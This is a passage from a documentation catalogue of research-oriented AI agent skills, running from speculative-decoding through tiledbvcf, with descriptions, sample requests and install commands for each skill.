KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`nnsight-remote-interpretability`](/research-agent-skills/skills/nnsight-remote-interpretability) * [`transformer-lens-interpretability`](/research-agent-skills/skills/transformer-lens-interpretability) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/sparse-autoencoder-training/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # speculative-decoding — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/speculative-decoding Accelerate LLM inference using speculative decoding, Medusa multiple heads, and lookahead decoding techniques. # `speculative-decoding` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Emerging Techniques, Speculative Decoding, Medusa, Lookahead Decoding, Fast Inference, Draft Models, Tree Attention, Parallel Generation, Latency Reduction, Inference Optimization ## When to use it Accelerate LLM inference using speculative decoding, Medusa multiple heads, and lookahead decoding techniques. Use when optimizing inference speed (1.5-3.6× speedup), reducing latency for real-time applications, or deploying models with limited compute. Covers draft models, tree-based attention, Jacobi iteration, parallel token generation, and production deployment strategies. ## Example requests Ask your agent in plain language, for example: * *"How do I add Medusa heads to Vicuna-7B and train them?"* * *"I'm running Llama-2-70B on 4xA100 for a code-completion tool, and p50 latency per token is about 45ms, which is too slow for our IDE plugin. I have Llama-2-7B and TinyLlama-1.1B checkpoints available. In HF transformers, how can I use one of them to speed up generation without changing the 70B outputs? Please include the assistant\_model setup and how to choose the number of speculative tokens."* * *"We can't afford to train anything or host a second model. Is there a way to get our existing LLM to produce several tokens per forward pass by solving the decoding as a parallel fixed-point problem? Which settings matter?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill speculative-decoding # GitHub CLI gh skill install KalarisLabs/research-agent-skills speculative-decoding ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`knowledge-distillation`](/research-agent-skills/skills/knowledge-distillation) * [`model-pruning`](/research-agent-skills/skills/model-pruning) * [`phoenix-observability`](/research-agent-skills/skills/phoenix-observability) * [`rwkv-architecture`](/research-agent-skills/skills/rwkv-architecture) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/speculative-decoding/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # springer-lncs — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/springer-lncs Format papers for Springer Lecture Notes in Computer Science (LNCS) and related proceedings series (LNAI, LNBI, CCIS) and Springer Nature journals using the… # `springer-lncs` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 **Tags:** Springer, LNCS, llncs, splncs04, conference proceedings, Springer Nature, journal formatting ## When to use it Format papers for Springer Lecture Notes in Computer Science (LNCS) and related proceedings series (LNAI, LNBI, CCIS) and Springer Nature journals using the llncs class or Springer Nature's sn-jnl template, covering page limits, abstract and keywords, splncs04 references, ORCID, running heads, camera-ready packages and the consent-to-publish form. Use when writing for conferences published in LNCS (e.g. ECCV, MICCAI, ESWC, many workshops), preparing an LNCS camera-ready, or targeting Springer Nature journals. ## Example requests Ask your agent in plain language, for example: * *"Prepare the LNCS camera-ready for our MICCAI paper with ORCIDs."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill springer-lncs # GitHub CLI gh skill install KalarisLabs/research-agent-skills springer-lncs ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/springer-lncs/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # stable-baselines3 — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/stable-baselines3 Production-ready reinforcement learning algorithms (PPO, SAC, DQN, TD3, DDPG, A2C) with scikit-learn-like API. # `stable-baselines3` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** reinforcement learning, PPO, SAC, DQN, Gymnasium ## When to use it Production-ready reinforcement learning algorithms (PPO, SAC, DQN, TD3, DDPG, A2C) with scikit-learn-like API. Use for standard RL experiments, quick prototyping, and well-documented algorithm implementations. Best for single-agent RL with Gymnasium environments. For high-performance parallel training, multi-agent systems, or custom vectorized environments, use pufferlib instead. ## Example requests Ask your agent in plain language, for example: * *"Train a PPO agent on CartPole and show me how to save and evaluate it."* * *"I wrote a custom Gymnasium env in warehouse\_env.py with a Box observation space of shape (84,84,3) uint8 images, and SAC throws 'You have passed a tuple to the constructor' / complains about the observation space when I call model = SAC('CnnPolicy', env). Also SAC doesn't make sense for discrete actions, I think my action space is Discrete(4) with start=1. What's going on and how do I fix it?"* * *"I have a simulated robot arm with continuous joint torques and a reward function I've defined. I want a sample-efficient learner I can get running quickly with checkpoints, periodic evaluation that keeps the best model, and TensorBoard curves. Where do I start?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill stable-baselines3 # GitHub CLI gh skill install KalarisLabs/research-agent-skills stable-baselines3 ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`pufferlib`](/research-agent-skills/skills/pufferlib) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/stable-baselines3/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # stable-diffusion-image-generation — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/stable-diffusion-image-generation Generates images with Stable Diffusion models (SD 1.5, SDXL, SD 3.0, Flux) through the HuggingFace Diffusers library, covering text-to-image, image-to-image… # `stable-diffusion-image-generation` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Image Generation, Stable Diffusion, Diffusers, Text-to-Image, Multimodal, Computer Vision ## When to use it Generates images with Stable Diffusion models (SD 1.5, SDXL, SD 3.0, Flux) through the HuggingFace Diffusers library, covering text-to-image, image-to-image, inpainting, outpainting, ControlNet conditioning, LoRA adapters, scheduler swapping, and GPU memory optimization. Use when generating images from text prompts, transforming or restyling an existing image, filling masked regions of an image, adding spatial control from edges, poses, or depth maps, loading LoRA style adapters, or fixing out-of-memory and black-image errors in a Diffusers pipeline. Not for API-only generation without a GPU, where DALL-E 3 fits better. ## Example requests Ask your agent in plain language, for example: * *"How do I make SDXL fit on my 8GB card? I keep getting CUDA out of memory in diffusers."* * *"I'm running StableDiffusionXLPipeline.from\_pretrained('stabilityai/stable-diffusion-xl-base-1.0', torch\_dtype=torch.float16) on an RTX 3090 and every image comes out as pure black. A warning says 'invalid value encountered in cast'. How do I fix it? I'm making figures for a methods paper on histology slide augmentation."* * *"I have a set of grayscale microscope photos of cell cultures. I want to turn each one into a colorized, painted look while keeping the cell layout and shapes the same. I have a local GPU. What's a good way to do this?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill stable-diffusion-image-generation # GitHub CLI gh skill install KalarisLabs/research-agent-skills stable-diffusion-image-generation ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`fine-tuning-openvla-oft`](/research-agent-skills/skills/fine-tuning-openvla-oft) * [`peft-fine-tuning`](/research-agent-skills/skills/peft-fine-tuning) * [`blip-2-vision-language`](/research-agent-skills/skills/blip-2-vision-language) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/stable-diffusion-image-generation/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # statistical-analysis — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/statistical-analysis Guided statistical analysis for research data - test selection, assumption checking, effect sizes, power analysis, Bayesian alternatives, and APA-formatted… # `statistical-analysis` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** statistics, hypothesis testing, effect sizes, power analysis, APA reporting ## When to use it Guided statistical analysis for research data - test selection, assumption checking, effect sizes, power analysis, Bayesian alternatives, and APA-formatted reporting. Use whenever a user wants to compare groups, test a hypothesis, analyze experimental or survey data, check statistical assumptions, compute required sample sizes, or write up results - even if they never name a specific test. Covers t-tests, ANOVA, chi-square, correlation, regression, non-parametric and Bayesian methods. For low-level model APIs, see the statsmodels and pymc skills. ## Example requests Ask your agent in plain language, for example: * *"Do a t-test on my two groups?"* * *"I have survey\_responses.csv with a 'condition' column (control, mindfulness, exercise) and a 'stress\_score' outcome from 187 undergrads. Scores look right-skewed and the exercise group has only 41 people vs 73 in the others. I'm submitting to a psych journal and need the analysis and the results paragraph."* * *"We're testing whether a new tutoring program improves exam scores. Students were measured before and after the program, and I'm not sure whether I can just say it worked. How should I approach this and what should I report so reviewers are satisfied?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill statistical-analysis # GitHub CLI gh skill install KalarisLabs/research-agent-skills statistical-analysis ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`apa7`](/research-agent-skills/skills/apa7) * [`arbor`](/research-agent-skills/skills/arbor) * [`bgpt-paper-search`](/research-agent-skills/skills/bgpt-paper-search) * [`bulk-rnaseq`](/research-agent-skills/skills/bulk-rnaseq) * [`cell-press`](/research-agent-skills/skills/cell-press) * [`nature-portfolio`](/research-agent-skills/skills/nature-portfolio) * [`pathway-enrichment`](/research-agent-skills/skills/pathway-enrichment) * [`plos`](/research-agent-skills/skills/plos) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/statistical-analysis/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # statistical-power — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/statistical-power Sample-size and statistical power calculations for planning studies. # `statistical-power` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** power analysis, sample size, study design, statistics ## When to use it Sample-size and statistical power calculations for planning studies. Use whenever someone asks "how many subjects/samples/replicates do I need", wants an a priori power analysis, a minimum detectable effect (MDE), a power curve, or needs to justify a sample size for a grant, IRB protocol, or pre-registration. Covers closed-form power for t-tests, ANOVA, proportions, correlations, chi-square, and regression, plus simulation-based (Monte Carlo) power for designs with no formula — logistic/Poisson regression, mixed models, cluster-randomized trials, survival, and interactions. Use this skill even when the request only mentions an effect size, alpha, or "80% power" without saying "power analysis" explicitly. For laying out the study (randomization, blocking, factorial/DOE, crossover, sequential designs) use experimental-design; for analyzing data already collected and reporting it use statistical-analysis. ## Example requests Ask your agent in plain language, for example: * *"how many mice per group for d=0.8, 90% power?"* * *"I'm writing an R01 aim where we randomize 24 clinics (about 30 patients each) to a new intake protocol vs usual care, and the outcome is 6-month remission (binary, baseline around 35%). Our ICC from a pilot is 0.05. I need a sample size justification paragraph for the grant. Can you work out how many clinics we need to see a 10 percentage point improvement and tell me if 24 is enough?"* * *"We only have budget for 12 animals per arm in our two-arm tail-suspension study, with SD around 25 seconds immobility. Before I commit to this, what's the smallest difference between groups we could realistically pick up, and can you show how that changes if a couple of animals die?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill statistical-power # GitHub CLI gh skill install KalarisLabs/research-agent-skills statistical-power ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`scientific-brainstorming`](/research-agent-skills/skills/scientific-brainstorming) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [`uncertainty-and-units`](/research-agent-skills/skills/uncertainty-and-units) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/statistical-power/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # statsmodels — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/statsmodels Statistical models library for Python. # `statsmodels` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** BSD-3-Clause license · **Version:** 1.3 **Tags:** statistical models, regression, time series, econometrics, statistics ## When to use it Statistical models library for Python. Use when you need specific model classes (OLS, GLM, mixed models, ARIMA) with detailed diagnostics, residuals, and inference. Best for econometrics, time series, rigorous inference with coefficient tables. For guided statistical test selection with APA reporting use statistical-analysis. ## Example requests Ask your agent in plain language, for example: * *"How do I fit a negative binomial model in statsmodels and check whether my Poisson fit is overdispersed?"* * *"I have panel.csv with columns firm\_id, year, log\_wage, tenure, educ. I ran smf.ols('log\_wage \~ tenure + educ', data=df).fit() and the Breusch-Pagan test rejects. Observations within firm are clearly correlated. How should I get defensible standard errors and show them in a table for my econometrics paper?"* * *"I have 15 years of monthly retail sales numbers with an obvious holiday bump each December. I want a forecast for the next 12 months with uncertainty bands and some confidence that the model is reasonable."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill statsmodels # GitHub CLI gh skill install KalarisLabs/research-agent-skills statsmodels ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [`timesfm-forecasting`](/research-agent-skills/skills/timesfm-forecasting) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/statsmodels/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # sympy — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/sympy Use when you need exact symbolic math in Python — algebra, calculus, equation solving, symbolic linear algebra, or code generation via lambdify/LaTeX. # `sympy` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** [https://github.com/sympy/sympy/blob/master/LICENSE](https://github.com/sympy/sympy/blob/master/LICENSE) · **Version:** 1.3 **Tags:** symbolic math, computer algebra, calculus, mathematics, Python ## When to use it Use when you need exact symbolic math in Python — algebra, calculus, equation solving, symbolic linear algebra, or code generation via lambdify/LaTeX. Prefer NumPy or SciPy when floating-point approximations are sufficient. ## Example requests Ask your agent in plain language, for example: * *"what's the closed-form integral of x\*\*2 \* exp(-x) from 0 to infinity? want the exact answer, not a decimal"* * *"I'm getting `NameError: name 'theta' is not defined` in my script derive\_pendulum.py where I'm trying to take the Jacobian of a Lagrangian with sympy and then print it as LaTeX for my paper's appendix. Can you fix it and give me the LaTeX for the 2x2 Jacobian?"* * *"I have a 3x3 matrix with an unknown parameter a in it, and I need to know for which values of a the matrix becomes singular, plus the eigenvalues as functions of a, all in exact form so I can put them in my derivation."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill sympy # GitHub CLI gh skill install KalarisLabs/research-agent-skills sympy ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/sympy/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # systematic-review-prisma — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/systematic-review-prisma Plan, run and report systematic reviews and meta-analyses to PRISMA 2020 standards. # `systematic-review-prisma` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** systematic review, PRISMA 2020, meta-analysis, PROSPERO, screening, risk of bias, evidence synthesis ## When to use it Plan, run and report systematic reviews and meta-analyses to PRISMA 2020 standards. Use when writing a review protocol (PROSPERO/OSF), building reproducible database search strings (PubMed, Embase, Scopus, Web of Science), deduplicating exports, organizing title/abstract and full-text screening, assessing risk of bias, drawing the PRISMA flow diagram, or completing the PRISMA 2020 checklist. Includes a dedup tool and a checked PRISMA diagram generator. ## Example requests Ask your agent in plain language, for example: * *"Plan a systematic review of exercise interventions for depression and make the PRISMA flow diagram."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill systematic-review-prisma # GitHub CLI gh skill install KalarisLabs/research-agent-skills systematic-review-prisma ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`firecrawl-research-index`](/research-agent-skills/skills/firecrawl-research-index) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`plos`](/research-agent-skills/skills/plos) * [`research-knowledge-graph`](/research-agent-skills/skills/research-knowledge-graph) * [`scientific-critical-thinking`](/research-agent-skills/skills/scientific-critical-thinking) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`peer-review`](/research-agent-skills/skills/peer-review) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/systematic-review-prisma/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # systems-paper-writing — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/systems-paper-writing Provides paragraph-level structural blueprints for 10-12 page systems papers targeting OSDI, SOSP, ASPLOS, NSDI, and EuroSys. # `systems-paper-writing` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.1.0 **Tags:** Systems Paper Writing, OSDI, SOSP, ASPLOS, NSDI, EuroSys, Structural Blueprint, Academic Writing, LaTeX ## When to use it Provides paragraph-level structural blueprints for 10-12 page systems papers targeting OSDI, SOSP, ASPLOS, NSDI, and EuroSys. Covers page budgets per section, writing patterns (gap analysis, observation-driven, contribution list, thesis formula), evaluation structure, venue checklists, reviewer guidelines, deadlines, and LaTeX templates for OSDI, NSDI, ASPLOS, and SOSP. Use when planning the section and page layout of a systems paper. Use when drafting an introduction, motivation, design, or evaluation section. Use when checking a draft against venue page limits and a pre-submission checklist. Use when anticipating how systems reviewers will assess a paper. Use when looking up conference formats or deadlines. For NeurIPS/ICML/ICLR papers or citation verification, use ml-paper-writing instead. ## Example requests Ask your agent in plain language, for example: * *"How should I split pages across sections for an OSDI submission?"* * *"I'm drafting the intro for our NSDI paper on a GPU cluster scheduler (intro.tex). Existing schedulers like Gandiva and Tiresias miss a few things for our workloads. Can you lay out the paragraphs so the gaps get stated clearly and tie to our design sections? We plan to list 4 contributions at the end."* * *"My systems paper draft is done and I want to know how a PC member will judge it. What will they look for, and what should I fix before I hit submit?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill systems-paper-writing # GitHub CLI gh skill install KalarisLabs/research-agent-skills systems-paper-writing ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) * [`research-grants`](/research-agent-skills/skills/research-grants) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/systems-paper-writing/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # tamarind — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/tamarind Access a collection of open-source molecular design and structural biology tools on the Tamarind Bio platform, via its REST API or MCP server — no local GPUs… # `tamarind` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** MIT · **Version:** 1.1 **Tags:** protein structure prediction, molecular design, structural biology, drug discovery ## When to use it Access a collection of open-source molecular design and structural biology tools on the Tamarind Bio platform, via its REST API or MCP server — no local GPUs required. Tamarind bundles popular open-source models for structure prediction (AlphaFold, Boltz, Chai, ESMFold), protein, binder, and de novo design (RFdiffusion, ProteinMPNN, BoltzGen), antibody and nanobody design and developability, protein-ligand docking (DiffDock, Autodock Vina), binding-affinity prediction, MSA generation, and molecular dynamics. Use when the user mentions Tamarind or tamarind.bio, wants to run any of these open-source tools in the cloud, references app.tamarind.bio/api or the x-api-key header, or needs to submit batches of sequences for structural or biophysical characterization. ## Example requests Ask your agent in plain language, for example: * *"How do I run Boltz-2 on Tamarind for a protein-ligand complex?"* * *"I have 240 candidate binder sequences in designs.csv, column 'seq', and I need to fold them all against my target and get confidence scores. I'm on a laptop with no GPU. I'm using the app.tamarind.bio API and got a 403 on my first submit-job call. What should I do?"* * *"I want to design a small protein that binds my target's epitope, then check that the designs fold as intended. I don't have any GPUs. What's a practical cloud pipeline for this?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill tamarind # GitHub CLI gh skill install KalarisLabs/research-agent-skills tamarind ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/tamarind/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # tensorboard — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/tensorboard Logs and views ML training data in TensorBoard using PyTorch SummaryWriter and TensorFlow/Keras callbacks: scalars, images, text, histograms, model graphs… # `tensorboard` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** MLOps, TensorBoard, Visualization, Training Metrics, Model Debugging, PyTorch, TensorFlow, Experiment Tracking, Performance Profiling ## When to use it Logs and views ML training data in TensorBoard using PyTorch SummaryWriter and TensorFlow/Keras callbacks: scalars, images, text, histograms, model graphs, embedding projector, hyperparameter tables, PR curves, and TensorFlow or PyTorch profiler traces. Use when plotting loss and accuracy curves during training, comparing multiple runs in one dashboard, inspecting weight and gradient distributions, projecting embeddings with PCA or t-SNE, tracking hyperparameter experiments, or finding performance bottlenecks in a training loop. Not for hosted experiment tracking with team collaboration; use a dedicated tracking service for that. ## Example requests Ask your agent in plain language, for example: * *"How do I get my PyTorch loss curve showing up in TensorBoard?"* * *"I'm training a ResNet-18 on CIFAR-10 in train.py with a Keras-free PyTorch loop. Val accuracy is flat after epoch 5 and I suspect vanishing gradients in the early conv layers. I already have a SummaryWriter at runs/resnet18\_lr1e-3. Add logging so I can inspect the weight and gradient distributions per layer every epoch, and also log a few misclassified validation images."* * *"I ran 12 learning-rate and batch-size combos of my transformer and want one view where I can see which settings gave the best validation loss, and see all the loss curves overlaid without a pile of separate folders to dig through."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill tensorboard # GitHub CLI gh skill install KalarisLabs/research-agent-skills tensorboard ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/tensorboard/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # tensorrt-llm — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/tensorrt-llm Optimizes LLM inference with NVIDIA TensorRT for maximum throughput and lowest latency. # `tensorrt-llm` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** Inference Serving, TensorRT-LLM, NVIDIA, Inference Optimization, High Throughput, Low Latency, Production, FP8, INT4, In-Flight Batching, Multi-GPU ## When to use it Optimizes LLM inference with NVIDIA TensorRT for maximum throughput and lowest latency. Use for production deployment on NVIDIA GPUs (A100/H100), when you need 10-100x faster inference than PyTorch, or for serving models with quantization (FP8/INT4), in-flight batching, and multi-GPU scaling. ## Example requests Ask your agent in plain language, for example: * *"How do I serve Llama 3 70B with TensorRT-LLM on 8 H100s?"* * *"I'm trying to deploy meta-llama/Meta-Llama-3-8B-Instruct on a single H100 for our lab's chat tool, and p95 latency is too high with plain HF transformers generate(). I built an engine with trtllm-build but the server throws a CUDA out of memory error when I send 64 concurrent requests. Can you help me fix it and get the quantization settings right?"* * *"We have a cluster of A100 80GB nodes and need to serve a 70B model to our research group with the lowest possible time per token and the highest tokens per second, using NVIDIA's compiled-engine approach with FP8 weights. What should the setup look like, and how do we check that the quantized model is still accurate?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill tensorrt-llm # GitHub CLI gh skill install KalarisLabs/research-agent-skills tensorrt-llm ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`llama-cpp`](/research-agent-skills/skills/llama-cpp) * [`miles-rl-training`](/research-agent-skills/skills/miles-rl-training) * [`modal`](/research-agent-skills/skills/modal) * [`optimizing-attention-flash`](/research-agent-skills/skills/optimizing-attention-flash) * [`serving-llms-vllm`](/research-agent-skills/skills/serving-llms-vllm) * [`sglang`](/research-agent-skills/skills/sglang) * [`training-llms-megatron`](/research-agent-skills/skills/training-llms-megatron) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/tensorrt-llm/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # tiledbvcf — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/tiledbvcf Stores and queries genomic variant data in TileDB-VCF datasets using the tiledbvcf Python API and CLI (create, store, export, list, stat). # `tiledbvcf` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.1 **Tags:** genomic variants, VCF, variant storage, population genomics ## When to use it Stores and queries genomic variant data in TileDB-VCF datasets using the tiledbvcf Python API and CLI (create, store, export, list, stat). Covers ingesting single-sample VCF/BCF files with .csi or .tbi indexes, adding samples incrementally, querying regions and samples in parallel, and exporting to VCF/BCF or TSV, on local disk or S3, Azure, and GCS. Use when building a variant database for a cohort, adding new samples to an existing dataset, querying specific regions across many samples, exporting subsets of a large VCF collection, or preparing population genomics data such as allele frequency or GWAS inputs. Not for multi-sample VCFs, which are unsupported, or for one-off parsing of a single VCF file. ## Example requests Ask your agent in plain language, for example: * *"How do I add 20 new samples to an existing TileDB-VCF dataset without redoing the old ones?"* * *"I've got 400 single-sample gVCFs from our mouse cohort in s3://lab-mouse/vcfs/ (each with a .tbi). I ran `tiledbvcf store` into s3://lab-mouse/db and it died with an out-of-memory error partway through. How should I set it up so I can resume and then pull chr2:1000000-2000000 for 50 named samples into a TSV with sample, pos, ref, alt, and genotype?"* * *"We're preparing inputs for a GWAS and a rare-variant burden test. Our sequencing center delivers one 